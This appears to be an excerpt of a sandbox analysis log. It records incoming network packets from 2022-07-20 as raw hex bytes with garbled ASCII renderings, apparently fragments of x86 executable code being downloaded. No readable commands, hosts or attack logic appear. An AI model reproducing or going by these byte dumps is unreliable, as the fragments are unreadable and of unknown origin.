2022-07-20 08:32:56 UTC	71	IN	Data Raw: 83 ec 08 8d 45 97 89 c1 e8 0d a0 05 00 8d 85 7c ff ff ff 8d 55 97 89 54 24 04 c7 04 24 d3 f0 5b 00 89 c1 e8 d2 94 08 00 83 ec 08 8d 85 60 ff ff ff 89 44 24 04 8d 85 7c ff ff ff 89 04 24 e8 b7 85 09 00 89 c3 8d 85 7c ff ff ff 89 c1 e8 48 9b 08 00 8d 45 97 89 c1 e8 ee 9f 05 00 8d 85 60 ff ff ff 89 c1 e8 31 9b 08 00 8d 85 7b ff ff ff 89 c1 e8 d4 9f 05 00 84 db 74 14 c7 45 ec 1b 00 00 00 83 7d ec 00 7e 07 90 83 6d ec 01 eb f3 8d 45 b3 89 c1 e8 82 9f 05 00 8d 45 98 8d 55 b3 89 54 24 04 c7 04 24 d3 f0 5b 00 89 c1 e8 4a 94 08 00 83 ec 08 8d 45 cf 89 c1 e8 5d 9f 05 00 8d 45 b4 8d 55 cf 89 54 24 04 c7 04 24 d3 f0 5b 00 89 c1 e8 25 94 08 00 83 ec 08 8d 45 98 89 44 24 04 8d 45 b4 89 04 24 e8 40 7e 09 00 89 c3 8d 45 b4 89 c1 e8 a4 9a 08 00 8d 45 cf 89 c1 e8 4a 9f 05 Data Ascii: E\|UT$$[`D$\|$\|HE`1{tE}~mEEUT$$[JE]EUT$$[%ED$E$@~EEJ
2022-07-20 08:32:56 UTC	87	IN	Data Raw: 89 e5 83 ec 18 c7 44 24 04 ff ff 00 00 c7 04 24 01 00 00 00 e8 b8 ff ff ff c9 c3 90 90 90 66 90 66 90 66 90 66 90 66 90 66 90 56 53 83 fa 4f 77 47 ff 24 95 40 19 5c 00 66 90 85 c9 74 3a 8b 70 14 3b 70 18 7d 32 89 f3 83 c6 01 c1 e3 04 03 58 10 c7 43 04 00 00 00 00 89 70 14 8b 44 24 0c 89 13 89 43 0c 89 d8 89 4b 08 5b 5e c3 85 c9 74 08 8b 5c 24 0c 85 db 75 c6 31 db 89 d8 5b 5e c3 8d 74 26 00 8d bc 27 00 00 00 00 55 57 56 53 83 ec 04 8b 58 0c 0f b6 0b 80 f9 52 74 0f 80 f9 4f 74 0a 83 c4 04 89 d0 5b 5e 5f 5d c3 8b 68 2c be 20 00 00 00 8d 7d 03 80 f9 52 75 08 8d 7d 02 be 1f 00 00 00 83 c3 01 89 78 2c 89 d1 89 f2 89 58 0c c7 04 24 00 00 00 00 e8 4e ff ff ff 83 c4 04 89 c2 5b 5e 89 d0 5f 5d c3 66 90 85 c9 74 5c 57 89 d7 56 89 c6 53 89 cb 8d 76 00 83 3b 4f 77 12 Data Ascii: D$$ffffffVSOwG$@\ft:p;p}2XCpD$CK[^t\$u1[^t&'UWVSXRtOt[^_]h, }Ru}x,X$N[^_]ft\WVSv;Ow
2022-07-20 08:32:56 UTC	88	IN	Data Raw: 5f 8b 0c 24 89 c8 83 c1 01 c1 e0 04 03 43 10 c7 40 04 00 00 00 00 89 4b 14 c7 40 04 00 00 00 00 c7 00 00 00 00 00 89 70 08 89 50 0c 89 43 28 83 c4 0c 5b 5e 5f 5d c3 8d 76 00 8b 3c 24 8b 44 24 04 39 c7 7d 1b 89 f8 89 f9 c1 e0 04 83 c1 01 03 43 10 c7 40 04 00 00 00 00 89 4b 14 85 f6 75 b9 31 c0 eb c8 8d b6 00 00 00 00 83 c4 0c 31 c0 5b 5e 5f 5d c3 8d b6 00 00 00 00 83 c0 01 89 43 0c e9 55 ff ff ff 90 8d 74 26 00 81 7e 04 42 41 4c 5f 0f 85 61 ff ff ff 0f b6 7e 08 89 f8 3c 2e 0f 94 c0 89 c5 89 f8 3c 5f 89 e9 0f 94 44 24 0b 0f b6 44 24 0b 08 c1 75 0a 89 f8 3c 24 0f 85 36 ff ff ff 80 7e 09 4e 0f 85 2c ff ff ff 8b 43 2c 8b 3c 24 8d 70 16 8b 44 24 04 29 d6 89 73 2c 39 c7 0f 8d 7a ff ff ff 89 f8 83 c7 01 c1 e0 04 03 43 10 89 7b 14 c7 40 04 00 00 00 00 c7 00 00 00 Data Ascii: _$C@K@pPC([^_]v<$D$9}C@Ku11[^_]CUt&~BAL_a~<.<_D$D$u<$6~N,C,<$pD$)s,9zC{@
2022-07-20 08:32:56 UTC	104	IN	Data Raw: 00 00 8b 00 85 c0 75 a2 8b 6c 24 28 8b 54 24 18 89 d8 8b 4d 0c e8 70 ee ff ff 8b 44 24 24 89 83 14 01 00 00 8b 44 24 48 85 c0 75 3e 83 fe 01 74 22 8b 7c 24 1c c1 e6 04 01 f7 8d 74 24 50 8b 4f f4 8b 54 24 18 89 d8 83 ef 10 e8 cb 37 00 00 39 fe 75 eb 8b 83 14 01 00 00 8b 54 24 18 8d 4d 08 89 04 24 89 d8 e8 c0 47 00 00 8b 7d 04 8b 44 24 34 8d 77 ff 8b bb 1c 01 00 00 83 ef 01 e9 09 f0 ff ff 8b 83 00 01 00 00 be 84 21 5c 00 bf 98 21 5c 00 ba 6e 00 00 00 eb 23 90 89 c1 83 c0 01 89 83 00 01 00 00 88 14 0b 88 93 04 01 00 00 39 f7 0f 84 ba 10 00 00 0f b6 16 83 c6 01 3d ff 00 00 00 75 d7 8b 83 0c 01 00 00 c6 83 ff 00 00 00 00 88 54 24 1c 89 44 24 08 c7 44 24 04 ff 00 00 00 89 1c 24 ff 93 08 01 00 00 83 83 28 01 00 00 01 b8 01 00 00 00 31 c9 0f b6 54 24 1c eb a1 8b Data Ascii: ul$(T$MpD$$D$Hu>t"\|$t$POT$79uT$M$G}D$4w!\!\n#9=uT$D$D$$(1T$
2022-07-20 08:32:56 UTC	105	IN	Data Raw: 00 01 00 00 be ac 21 5c 00 bf c5 21 5c 00 ba 63 00 00 00 eb 27 90 8d 74 26 00 89 c1 83 c0 01 89 83 00 01 00 00 88 14 0b 88 93 04 01 00 00 39 f7 0f 84 40 0f 00 00 0f b6 16 83 c6 01 3d ff 00 00 00 75 d7 8b 83 0c 01 00 00 c6 83 ff 00 00 00 00 88 54 24 1c 89 44 24 08 c7 44 24 04 ff 00 00 00 89 1c 24 ff 93 08 01 00 00 83 83 28 01 00 00 01 b8 01 00 00 00 31 c9 0f b6 54 24 1c eb a1 8b 83 00 01 00 00 be 9a 21 5c 00 bf aa 21 5c 00 ba 76 00 00 00 eb 27 90 8d 74 26 00 89 c1 83 c0 01 89 83 00 01 00 00 88 14 0b 88 93 04 01 00 00 39 f7 0f 84 e6 0e 00 00 0f b6 16 83 c6 01 3d ff 00 00 00 75 d7 8b 83 0c 01 00 00 c6 83 ff 00 00 00 00 88 54 24 1c 89 44 24 08 c7 44 24 04 ff 00 00 00 89 1c 24 ff 93 08 01 00 00 83 83 28 01 00 00 01 b8 01 00 00 00 31 c9 0f b6 54 24 1c eb a1 8b Data Ascii: !\!\c't&9@=uT$D$D$$(1T$!\!\v't&9=uT$D$D$$(1T$
2022-07-20 08:32:56 UTC	121	IN	Data Raw: 24 04 ff 00 00 00 89 44 24 08 89 1c 24 ff 93 08 01 00 00 c6 03 20 b8 01 00 00 00 83 83 28 01 00 00 01 e9 dd fe ff ff 8d 76 00 8b 83 0c 01 00 00 c6 83 ff 00 00 00 00 c7 44 24 04 ff 00 00 00 89 44 24 08 89 1c 24 ff 93 08 01 00 00 c6 03 29 ba 01 00 00 00 83 83 28 01 00 00 01 e9 77 fd ff ff 8d 76 00 8d bc 27 00 00 00 00 55 57 56 53 83 ec 4c 89 54 24 14 8b 6c 24 60 85 c9 0f 84 4c 01 00 00 89 cb 8b 88 18 01 00 00 89 c6 85 c9 74 69 e9 39 01 00 00 8d b6 00 00 00 00 8d 50 e4 83 fa 04 76 3e 8b 53 0c 8b be 10 01 00 00 c7 43 08 01 00 00 00 89 96 10 01 00 00 83 f8 29 0f 84 14 01 00 00 83 f8 2a 0f 84 2c 01 00 00 83 f8 02 74 4a 8b 54 24 14 89 f0 e8 40 f3 ff ff 89 be 10 01 00 00 8b 1b 85 db 0f 84 e3 00 00 00 8b 96 18 01 00 00 85 d2 0f 85 d5 00 00 00 8b 43 08 85 c0 75 e1 Data Ascii: $D$$ (vD$D$$)(wv'UWVSLT$l$`Lti9Pv>SC)*,tJT$@Cu
2022-07-20 08:32:56 UTC	122	IN	Data Raw: 89 54 24 08 c7 44 24 04 ff 00 00 00 89 34 24 ff 96 08 01 00 00 83 86 28 01 00 00 01 ba 01 00 00 00 31 c9 0f b6 44 24 18 eb 9b 55 57 89 cf 56 89 d6 53 89 c3 83 ec 2c 8b 44 24 40 85 c0 74 25 8b 50 08 85 d2 0f 84 15 01 00 00 8b 00 85 c0 75 ef c7 04 24 00 00 00 00 8b 4c 24 40 89 f2 89 d8 e8 06 fc ff ff 8b 83 00 01 00 00 3d ff 00 00 00 0f 84 15 01 00 00 8d 50 01 89 93 00 01 00 00 c6 04 03 20 c6 83 04 01 00 00 20 81 fa ff 00 00 00 74 4c 8d 42 01 89 83 00 01 00 00 c6 04 13 5b c6 83 04 01 00 00 5b 8b 0f 85 c9 74 0f 89 d8 89 f2 e8 d6 a5 ff ff 8b 83 00 01 00 00 3d ff 00 00 00 74 69 8d 50 01 89 93 00 01 00 00 c6 04 03 5d c6 83 04 01 00 00 5d 83 c4 2c 5b 5e 5f 5d c3 8b 83 0c 01 00 00 c6 83 ff 00 00 00 00 c7 44 24 04 ff 00 00 00 89 44 24 08 89 1c 24 ff 93 08 01 00 00 Data Ascii: T$D$4$(1D$UWVS,D$@t%Pu$L$@=P tLB[[t=tiP]],[^_]D$D$$
2022-07-20 08:32:56 UTC	138	IN	Data Raw: 03 74 60 00 0c c6 05 04 74 60 00 0c c6 05 fd 73 60 00 04 c6 05 fc 73 60 00 04 c7 05 d8 89 5b 00 01 00 00 00 e9 68 fe ff ff 90 56 89 d6 53 89 c3 83 ec 04 e8 22 fb ff ff 8b 86 b4 00 00 00 83 7c c6 04 06 75 15 c7 43 4c 00 00 00 00 83 c4 04 5b 5e c3 90 8d b4 26 00 00 00 00 83 f8 11 0f 8f dc bf 08 00 0f b6 88 f4 73 60 00 8b 14 83 f6 43 63 40 74 07 80 7c 03 6c 00 75 0b 80 f9 04 0f 85 bc bf 08 00 8b 12 89 53 4c 83 c4 04 5b 5e c3 8d b6 00 00 00 00 8d bf 00 00 00 00 55 57 bf 01 00 00 00 56 89 c6 53 89 d3 81 ec fc 00 00 00 89 4c 24 2c eb 55 8d b4 26 00 00 00 00 8b 8c 24 d8 00 00 00 85 c9 74 31 89 5c 24 14 89 74 24 10 8b 06 8b 56 04 c7 04 24 01 00 00 00 89 44 24 08 89 e8 83 c8 02 89 54 24 0c 89 44 24 04 ff d1 83 f8 07 74 59 83 f8 08 75 3b 85 ed 75 61 8d 54 24 30 89 Data Ascii: t`t`s`s`[hVS"\|uCL[^&s`Cc@t\|luSL[^UWVSL$,U&$t1\$t$V$D$T$D$tYu;uaT$0
2022-07-20 08:32:56 UTC	139	IN	Data Raw: 48 03 42 68 eb 83 80 7f 70 00 74 e3 eb ec 8d b6 00 00 00 00 8d bf 00 00 00 00 53 83 ec 08 8b 54 24 14 8b 4c 24 10 83 fa 11 0f 8f 1f bc 08 00 0f b6 9a f4 73 60 00 8b 04 91 f6 41 63 40 75 10 80 fb 04 0f 85 06 bc 08 00 8b 00 83 c4 08 5b c3 80 7c 11 6c 00 74 e9 83 c4 08 5b c3 eb 0d 90 90 90 90 90 90 90 90 90 90 90 90 90 8b 44 24 04 8b 40 48 c3 90 8d b4 26 00 00 00 00 83 ec 0c 8b 44 24 14 8b 54 24 10 83 f8 11 0f 8f c5 bb 08 00 0f b6 88 f4 73 60 00 f6 42 63 40 75 1f 8b 04 82 80 f9 04 0f 85 ac bb 08 00 8b 4c 24 18 89 08 83 c4 0c c3 89 f6 8d bc 27 00 00 00 00 80 7c 02 6c 00 74 da 8b 4c 24 18 89 0c 82 83 c4 0c c3 8d b4 26 00 00 00 00 8d bc 27 00 00 00 00 8b 44 24 04 8b 40 4c c3 90 8d b4 26 00 00 00 00 8b 54 24 04 8b 4c 24 08 8b 42 60 c1 e8 1f 89 01 8b 42 4c c3 8d Data Ascii: HBhptST$L$s`Ac@u[\|lt[D$@H&D$T$s`Bc@uL$'\|ltL$&'D$@L&T$L$B`BL
2022-07-20 08:32:56 UTC	155	IN	Data Raw: 24 89 44 24 04 75 a3 e8 9e 74 00 00 c7 44 24 14 00 00 00 00 e9 11 ff ff ff 8b 44 24 28 89 1c 24 89 44 24 04 eb e1 8d 74 26 00 8b 54 24 04 8d 42 14 8b 52 10 8d 0c 90 eb 0f 90 83 c0 04 c7 40 fc ff ff ff ff 39 c1 76 12 8b 10 85 d2 74 ec 83 ea 01 89 10 c3 8d b6 00 00 00 00 f3 c3 8d b4 26 00 00 00 00 8d bc 27 00 00 00 00 56 53 83 ec 14 8b 5c 24 24 8b 44 24 20 8d 73 1f c1 fe 05 39 70 04 7c 4c 89 d9 8d 50 14 c1 f9 05 83 e3 1f 74 2f 83 c1 01 89 48 10 8d 0c 8a 39 d1 76 12 83 c2 04 c7 42 fc ff ff ff ff 39 d1 77 f2 85 db 74 0a b9 20 00 00 00 29 d9 d3 6a fc 83 c4 14 5b 5e c3 89 48 10 8d 0c 8a 39 d1 77 d4 83 c4 14 5b 5e c3 89 04 24 e8 24 7b 00 00 89 34 24 e8 4c 7a 00 00 eb a2 8d 76 00 8d bc 27 00 00 00 00 55 57 56 53 81 ec dc 00 00 00 e8 51 89 00 00 8b 30 89 34 24 e8 Data Ascii: $D$utD$D$($D$t&T$BR@9vt&'VS\$$D$ s9p\|LPt/H9vB9wt )j[^H9w[^$${4$Lzv'UWVSQ04$
2022-07-20 08:32:56 UTC	156	IN	Data Raw: 24 38 0f 84 23 01 00 00 8b 84 24 c0 00 00 00 89 84 24 f0 00 00 00 83 c0 01 89 84 24 c0 00 00 00 8b 84 24 f0 00 00 00 0f be 48 01 80 f9 2b 0f 84 88 12 00 00 80 f9 2d 0f 84 0d 07 00 00 c7 44 24 4c 00 00 00 00 8d 41 d0 83 f8 09 0f 87 79 07 00 00 83 f9 30 75 26 8b 84 24 c0 00 00 00 83 c0 01 8d 76 00 8d bc 27 00 00 00 00 89 84 24 c0 00 00 00 0f be 08 83 c0 01 83 f9 30 74 ee 8d 51 cf 31 c0 83 fa 08 0f 87 8e fe ff ff 8d 41 d0 8b 8c 24 c0 00 00 00 8d 51 01 89 4c 24 54 89 94 24 c0 00 00 00 0f be 49 01 89 54 24 50 8d 51 d0 83 fa 09 77 43 8b 54 24 54 89 74 24 58 89 7c 24 64 83 c2 02 89 f6 8d bc 27 00 00 00 00 8d 04 80 89 94 24 c0 00 00 00 89 d7 83 c2 01 8d 44 41 d0 0f be 4a ff 8d 71 d0 83 fe 09 76 e1 89 7c 24 50 8b 74 24 58 8b 7c 24 64 8b 54 24 50 2b 54 24 54 83 fa Data Ascii: $8#$$$$H+-D$LAy0u&$v'$0tQ1A$QL$T$IT$PQwCT$Tt$X\|$d'$DAJqv\|$Pt$X\|$dT$P+T$T
2022-07-20 08:32:56 UTC	172	IN	Data Raw: 0e 89 04 24 89 54 24 04 0f 87 4c 01 00 00 85 d2 78 19 89 c6 89 d7 8d 74 26 00 0f a4 f7 01 01 f6 85 ff 79 f6 89 34 24 89 7c 24 04 b9 0e 00 00 00 b8 04 00 00 00 31 d2 29 e9 31 f6 8b 7c 24 04 c1 e1 02 0f a5 c2 d3 e0 f6 c1 20 0f 45 d0 0f 45 c6 8b 34 24 0f ac fe 01 d1 ef 01 c6 11 d7 85 ff 0f 88 05 04 00 00 0f a4 f7 01 01 f6 b9 0f 00 00 00 31 c0 29 e9 c1 e1 02 0f ad fe d3 ef f6 c1 20 0f 45 f7 0f 45 f8 89 34 24 89 7c 24 04 8b 43 04 89 44 24 14 8d 44 24 58 8b 34 24 89 1c 24 89 44 24 10 89 c5 8b 44 24 14 89 c7 83 e0 20 81 e7 00 08 00 00 88 44 24 1b 89 7c 24 1c 8b 7c 24 04 eb 2f 8d 76 00 8d bc 27 00 00 00 00 31 c0 3b 6c 24 10 77 0a 8b 1c 24 8b 4b 0c 85 c9 78 09 8d 48 30 88 4d 00 83 c5 01 89 fa 09 f2 0f 84 db 02 00 00 89 f1 c7 44 24 0c 00 00 00 00 83 e1 0f 89 cb 89 Data Ascii: $T$Lxt&y4$\|$1)1\|$ EE4$1) EE4$\|$CD$D$X4$$D$D$ D$\|$\|$/v'1;l$w$KxH0MD$
2022-07-20 08:32:56 UTC	173	IN	Data Raw: b8 2d 00 00 00 e8 30 e9 ff ff e9 3d fe ff ff c7 43 08 ff ff ff ff e9 0d fe ff ff dd d8 89 d9 ba 47 45 5c 00 31 c0 e8 af eb ff ff 83 c4 7c 5b 5e 5f 5d c3 8d b4 26 00 00 00 00 89 da b8 2b 00 00 00 e8 f4 e8 ff ff e9 01 fe ff ff dd d8 89 d0 89 d9 ba 4b 45 5c 00 25 00 80 00 00 e8 7a eb ff ff 83 c4 7c 5b 5e 5f 5d c3 66 90 66 83 44 24 18 01 e9 f6 fb ff ff 90 8d 74 26 00 31 f6 31 ff e9 a2 fc ff ff 8d b4 26 00 00 00 00 83 e8 01 89 43 08 8d 76 00 8d bc 27 00 00 00 00 89 da b8 20 00 00 00 e8 94 e8 ff ff 8b 43 08 8d 50 ff 85 c0 89 53 08 7f e7 8b 43 04 89 44 24 14 e9 69 fd ff ff 89 da b8 20 00 00 00 e8 6f e8 ff ff e9 7c fd ff ff 8d 76 00 8d bc 27 00 00 00 00 8b 43 04 89 44 24 14 e9 8c fc ff ff 8d 74 26 00 f7 44 24 14 00 08 00 00 8b 44 24 10 0f 84 92 fc ff ff e9 84 fc Data Ascii: -0=CGE\1\|[^_]&+KE\%z\|[^_]ffD$t&11&Cv' CPSCD$i o\|v'CD$t&D$D$
2022-07-20 08:32:56 UTC	189	IN	Data Raw: fa 05 8d 4c 90 04 8b 53 10 8d 14 96 39 d6 73 29 89 c7 90 8d b4 26 00 00 00 00 a5 39 f2 77 fb 29 da 83 ea 15 c1 ea 02 8d 44 90 04 39 c1 76 0e 83 c0 04 c7 40 fc 00 00 00 00 39 c1 77 f2 5b 5e 5f c3 89 f6 8d bc 27 00 00 00 00 56 53 8b 44 24 0c 8b 50 10 8d 70 14 8b 44 24 10 c1 f8 05 39 c2 7d 39 8d 1c 96 39 de 73 62 8b 43 fc 8d 53 fc 85 c0 75 4d 89 d1 29 f1 83 c1 03 f7 d1 83 e1 fc 01 d9 eb 11 90 8d b4 26 00 00 00 00 83 ea 04 8b 1a 85 db 75 2c 39 d1 75 f3 5b 5e c3 39 c2 8d 1c 86 7e c3 8b 4c 24 10 83 e1 1f 74 ba 8b 13 89 d0 d3 e8 d3 e0 89 c1 b8 01 00 00 00 39 ca 75 da eb a5 b8 01 00 00 00 5b 5e c3 8d 76 00 31 c0 eb c9 90 90 90 90 90 90 90 90 90 90 90 90 53 8b 4c 24 0c 8b 54 24 08 85 c9 74 25 80 3a 00 89 d3 75 11 eb 1c 8d 76 00 8d bc 27 00 00 00 00 80 3a 00 74 0b Data Ascii: LS9s)&9w)D9v@9w[^_'VSD$PpD$9}99sbCSuM)&u,9u[^9~L$t9u[^v1SL$T$t%:uv':t
2022-07-20 08:32:56 UTC	190	IN	Data Raw: 9e 00 00 00 83 c4 1c c3 66 90 56 53 83 ec 14 c7 04 24 c0 48 5c 00 ff 15 50 82 60 00 83 ec 04 85 c0 74 28 89 c3 c7 44 24 04 d6 48 5c 00 89 04 24 8b 35 54 82 60 00 ff d6 83 ec 08 85 c0 74 1d a3 4c 8a 5b 00 83 c4 14 5b 5e ff e0 b8 b0 f5 42 00 a3 4c 8a 5b 00 83 c4 14 5b 5e ff e0 c7 44 24 04 ea 48 5c 00 89 1c 24 ff d6 83 ec 08 85 c0 a3 e4 7d 60 00 74 d6 b8 a0 f5 42 00 eb c3 8d b4 26 00 00 00 00 8d bc 27 00 00 00 00 ff 25 4c 8a 5b 00 90 90 90 90 90 90 90 90 90 90 ff 25 a4 83 60 00 90 90 ff 25 24 83 60 00 90 90 e9 eb 08 ff ff 8d 74 26 00 8d bc 27 00 00 00 00 8b 44 24 08 85 c0 74 08 e9 43 08 ff ff 8d 76 00 31 c0 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 83 ec 1c 8b 44 24 20 e8 34 09 bd ff c7 04 24 01 00 00 00 83 e8 0c c7 44 24 04 00 00 00 00 89 44 24 08 b8 20 f7 Data Ascii: fVS$H\P`t(D$H\$5T`tL[[^BL[[^D$H\$}`tB&'%L[%`%$`t&'D$tCv1D$ 4$D$D$
2022-07-20 08:32:56 UTC	206	IN	Data Raw: 44 24 20 05 fe ff ff 1f 2b 42 f4 3b 44 24 24 72 06 83 c4 1c c2 0c 00 8b 44 24 28 89 04 24 e8 e7 3b 07 00 90 90 90 90 90 90 90 56 89 ce 53 83 ec 14 8b 5c 24 20 89 1c 24 e8 25 bd ff ff 89 1c 24 89 f1 89 44 24 08 8b 44 24 24 89 44 24 04 e8 17 00 00 00 83 ec 0c 83 c4 14 5b 5e c2 08 00 90 90 90 90 90 90 90 90 90 90 90 90 55 b8 ff ff ff ff 57 56 53 8b 29 8b 7c 24 14 8b 5c 24 18 8b 55 f4 8b 74 24 1c 85 d2 74 2f 8d 42 ff 39 d8 0f 47 c3 85 f6 74 23 0f b7 5c 45 00 85 ff 74 1a 89 fa 89 f1 89 f6 8d bc 27 00 00 00 00 66 3b 1a 74 0f 83 c2 02 83 e9 01 75 f3 5b 5e 5f 5d c2 0c 00 83 e8 01 83 f8 ff 75 ca eb ef 90 90 83 ec 0c 8b 44 24 10 8b 00 8b 50 f4 89 04 24 89 54 24 08 8b 54 24 14 89 54 24 04 e8 80 ff ff ff 83 ec 0c 83 c4 0c c2 08 00 90 90 90 90 90 90 90 56 b8 ff ff ff Data Ascii: D$ +B;D$$rD$($;VS\$ $%$D$D$$D$[^UWVS)\|$\$Ut$t/B9Gt#\Et'f;tu[^_]uD$P$T$T$T$V
2022-07-20 08:32:57 UTC	207	IN	Data Raw: c2 02 83 e8 01 75 f3 b8 ff ff ff ff 83 c4 08 5b 5e 5f 5d c2 0c 00 8d 74 26 00 39 d3 74 50 31 c0 39 f8 74 4a 0f b7 74 42 02 83 c0 01 66 3b 34 43 74 ee 8b 44 24 04 83 c2 02 29 d0 d1 f8 39 44 24 24 77 c4 03 04 24 85 d2 74 bd 85 c0 75 ac eb b7 8d 76 00 8d bc 27 00 00 00 00 39 fe b8 ff ff ff ff 0f 43 c7 83 c4 08 5b 5e 5f 5d c2 0c 00 89 d0 29 e8 d1 f8 eb 96 90 90 90 90 83 ec 0c 8b 44 24 10 8b 00 8b 50 f4 89 04 24 89 54 24 08 8b 54 24 14 89 54 24 04 e8 00 ff ff ff 83 ec 0c 83 c4 0c c2 08 00 90 90 90 90 90 90 90 57 b8 ff ff ff ff 56 53 8b 39 8b 74 24 14 0f b7 5c 24 10 8b 57 f4 39 d6 73 1b 8d 0c 77 29 f2 85 c9 74 12 66 39 19 74 18 83 c1 02 83 ea 01 75 f3 b8 ff ff ff ff 5b 5e 5f c2 08 00 90 8d 74 26 00 29 f9 5b 5e 89 c8 5f d1 f8 c2 08 00 90 90 90 90 8b 54 24 04 89 Data Ascii: u[^_]t&9tP19tJtBf;4CtD$)9D$$w$tuv'9C[^_])D$P$T$T$T$WVS9t$\$W9sw)tf9tu[^_t&)[^_T$
2022-07-20 08:32:57 UTC	223	IN	Data Raw: 8d 50 ff 89 51 fc 85 c0 7e 11 8b 45 e4 eb 96 b8 ff ff ff ff f0 0f c1 41 fc eb eb 8d 45 c3 83 e9 0c 89 04 24 e8 f1 c4 03 00 83 ec 04 eb dc c7 04 24 64 06 5c 00 e8 d0 f6 06 00 89 c6 e9 59 59 07 00 89 c6 e9 64 59 07 00 90 90 56 53 83 ec 54 8d 5c 24 40 8b 44 24 60 8b 54 24 64 c7 44 24 28 00 00 00 00 89 5c 24 24 8d 5c 24 3c 8b 74 24 6c 89 5c 24 20 8b 5c 24 74 89 74 24 14 89 5c 24 1c 0f b6 5c 24 70 89 44 24 08 89 5c 24 18 8b 5c 24 68 89 54 24 0c 89 5c 24 10 8b 41 08 c6 04 24 00 89 44 24 04 c7 44 24 3c 00 00 00 00 e8 7a 25 04 00 8b 4c 24 3c 85 c9 75 12 db 6c 24 40 8b 4c 24 7c db 39 83 c4 54 5b 5e c2 20 00 8b 5c 24 78 89 0b 83 c4 54 5b 5e c2 20 00 90 90 56 53 83 ec 54 8d 5c 24 40 8b 44 24 60 8b 54 24 64 c7 44 24 28 00 00 00 00 89 5c 24 24 8d 5c 24 3c 8b 74 24 6c Data Ascii: PQ~EAE$$d\YYdYVST\$@D$`T$dD$(\$$\$<t$l\$ \$tt$\$\$pD$\$\$hT$\$A$D$D$<z%L$<ul$@L$\|9T[^ \$xT[^ VST\$@D$`T$dD$(\$$\$<t$l
2022-07-20 08:32:57 UTC	224	IN	Data Raw: 64 06 5c 00 e8 01 f3 06 00 89 c3 e9 b2 55 07 00 89 c3 e9 bd 55 07 00 90 90 90 57 56 53 83 ec 60 8d 54 24 50 8b 44 24 70 8b 5c 24 74 c7 44 24 28 00 00 00 00 8b 74 24 78 8b 7c 24 7c 89 54 24 24 8d 54 24 4c 89 54 24 20 8b 94 24 84 00 00 00 89 5c 24 0c 66 31 db 89 54 24 1c 0f b6 94 24 80 00 00 00 89 74 24 10 89 54 24 18 89 7c 24 14 89 44 24 08 8b 41 08 c6 04 24 00 89 44 24 04 c7 44 24 4c 00 00 00 00 e8 70 24 04 00 8b 4c 24 4c 89 54 24 3c 0f b7 54 24 3c 89 44 24 38 09 da 85 c9 75 19 db 6c 24 50 8b 8c 24 8c 00 00 00 db 39 83 c4 60 5b 5e 5f c2 20 00 8d 76 00 8b 9c 24 88 00 00 00 89 0b 83 c4 60 5b 5e 5f c2 20 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 57 56 53 83 ec 60 8d 54 24 50 8b 44 24 70 8b 5c 24 74 c7 44 24 28 00 00 00 00 8b 74 24 78 8b 7c 24 7c 89 54 24 Data Ascii: d\UUWVS`T$PD$p\$tD$(t$x\|$\|T$$T$LT$ $\$f1T$$t$T$\|$D$A$D$D$Lp$L$LT$<T$<D$8ul$P$9`[^_ v$`[^_ WVS`T$PD$p\$tD$(t$x\|$\|T$
2022-07-20 08:32:57 UTC	240	IN	Data Raw: d8 83 ec 04 83 c4 14 5b 5e c2 04 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 56 53 89 cb 83 ec 14 8b 44 24 20 8b 40 08 8b 70 08 8d 41 08 89 01 b8 ff ff ff ff 85 f6 74 0a 89 34 24 e8 79 35 ff ff 01 f0 89 44 24 04 89 d9 89 34 24 c6 44 24 08 00 e8 d0 d0 05 00 89 d8 83 ec 0c 83 c4 14 5b 5e c2 04 00 90 90 90 90 90 90 90 8b 01 8b 40 20 3d 20 c0 43 00 75 07 8b 41 08 8b 40 2c c3 ff e0 90 90 90 90 90 90 90 90 90 90 90 8b 01 8b 40 08 3d 30 c0 43 00 75 08 8b 41 08 0f b6 40 11 c3 ff e0 90 90 90 90 90 90 90 90 90 90 8b 41 08 8b 40 34 c3 90 90 90 90 90 90 90 90 90 8b 41 08 8b 40 30 c3 90 90 90 90 90 90 90 90 90 56 53 89 cb 83 ec 14 8b 44 24 20 8b 10 8b 52 1c 81 fa 40 c0 43 00 75 48 8b 40 08 8b 70 24 8d 41 08 89 01 b8 ff ff ff ff 85 f6 74 0a 89 34 24 e8 bc 34 ff ff 01 Data Ascii: [^VSD$ @pAt4$y5D$4$D$[^@ = CuA@,@=0CuA@A@4A@0VSD$ R@CuH@p$At4$4
2022-07-20 08:32:57 UTC	241	IN	Data Raw: 89 44 24 04 89 d9 89 34 24 c6 44 24 08 00 e8 13 cd 05 00 89 d8 83 ec 0c 83 c4 14 5b 5e c2 04 00 8d 76 00 8d bc 27 00 00 00 00 89 04 24 ff d2 89 d8 83 ec 04 83 c4 14 5b 5e c2 04 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 56 53 89 cb 83 ec 14 8b 44 24 20 8b 40 08 8b 70 08 8d 41 08 89 01 b8 ff ff ff ff 85 f6 74 0a 89 34 24 e8 49 31 ff ff 01 f0 89 44 24 04 89 d9 89 34 24 c6 44 24 08 00 e8 a0 cc 05 00 89 d8 83 ec 0c 83 c4 14 5b 5e c2 04 00 90 90 90 90 90 90 90 8b 01 8b 40 20 3d 50 c4 43 00 75 07 8b 41 08 8b 40 2c c3 ff e0 90 90 90 90 90 90 90 90 90 90 90 8b 01 8b 40 08 3d 60 c4 43 00 75 08 8b 41 08 0f b6 40 11 c3 ff e0 90 90 90 90 90 90 90 90 90 90 8b 41 08 8b 40 34 c3 90 90 90 90 90 90 90 90 90 8b 41 08 8b 40 30 c3 90 90 90 90 90 90 90 90 90 56 53 89 cb 83 Data Ascii: D$4$D$[^v'$[^VSD$ @pAt4$I1D$4$D$[^@ =PCuA@,@=`CuA@A@4A@0VS
